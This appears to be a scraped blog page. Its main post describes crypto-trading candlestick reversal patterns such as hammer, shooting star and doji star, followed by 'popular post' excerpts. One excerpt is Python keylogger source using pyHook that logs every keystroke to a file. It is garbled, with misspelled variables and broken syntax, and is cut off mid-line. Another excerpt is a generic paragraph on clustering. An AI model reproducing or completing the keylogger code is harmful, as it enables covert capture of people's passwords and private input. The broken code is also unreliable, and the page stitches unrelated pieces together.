Skip to main content

It Does Not Require Trendlines Or Other Indicators To Be Able To Project Future Moves

(The picture was taken from: http://www.technicaltradingindicators.com/tradestation-indicators/83-candlestick-patterns/)

Depending on the time frame, a candle like Hammer or Shooting Star can be a clear reversal signal as it shows enormous buying/selling pressure on the coin. It does not require trendlines or other indicators to be able to project future moves, especially if the candle was formed on a daily time frame or higher.

Another very important single candle you will need is the one that appears during a blow-off top or capitulation. Those two are the reversal points in a trend, where the price makes an explosive move which then very quickly retraces. It is an indicator of a buying/selling climax that is followed by other people leaving or entering the market in an accelerated movement. A candle like this usually is massive and has a long wick which is later followed by another few candles that represent this accelerated buying/selling.

Candles can also create a specific pattern within a group of 2 or more, that also works as a great reversal or continuation signal. From the most popular ones, we would distinguish tweezer top/bottom and either Evening Doji Star or Morningstar. Those are reversal patterns that we personally often use to confirm our entries or exits.

Popular posts from this blog

import pyHook import pythoncom def keypress event if evenAscii char

{ import pyHook import pythoncom def keypress(event): if even.Ascii: char = chr(event.Ascii) print char if char = = “~”: exit() hm = pyHook.HookManager() hm.KeyDown = keypress hm.HookKeyboard() pythoncom.PumpMessages() from datetime import * import os root_dir = os.path.split(os.path.realpath(_file_))[0] log_file = os.path.join(root_dir, “log_file.txt”) def log(message): if len(message) > 0: with open(log_file, “a”) as f: f.write(“{}:\t{}\n” .format(datetime.now(), message)) # print “{}:\t{}” .format(datetime.not(), message) buffer = “” def keypress(event) global bugger if event.Ascii char = chr(event.Ascii) if char = = “~”: log(bugger) log(“---PROGRAM ENDED---“) exit() if event.Ascii ==13: buffer += “<ENTER>\n” log(buffer) bugger = “” elif event.Ascii==8: buffer += “<BACKSPACE>” elif event.Ascii==9: buffer += “<TAB>” else: buffer += char pause_period = 2 las_pr...

THIS CAN TAKE THE FORM OF A HIERARCHY OR ORDER

this can take the form of a hierarchy or order While we have only touched on a portion of unsupervised learning, it is important to note that it is a vital branch of machine learning with lots of real world applications. Clustering as an example can be used to discover data groups and get a unique perspective of data before feeding it into traditional supervised learning algorithms. Implementation of the Model Clustering is a type of unsupervised learning technique in which there are no explicit labels. Clustering is used to discover groups of data points in a dataset. A group or cluster is made up of members that are similar to each other but are collectively different from other clusters. A good clustering algorithm must have the ability to discover some or all hidden clusters in a dataset, should exhibit in cluster similarity but different clusters should be dissimilar or far from each other. The clustering algorithm should also be scalable to larger datasets and shoul...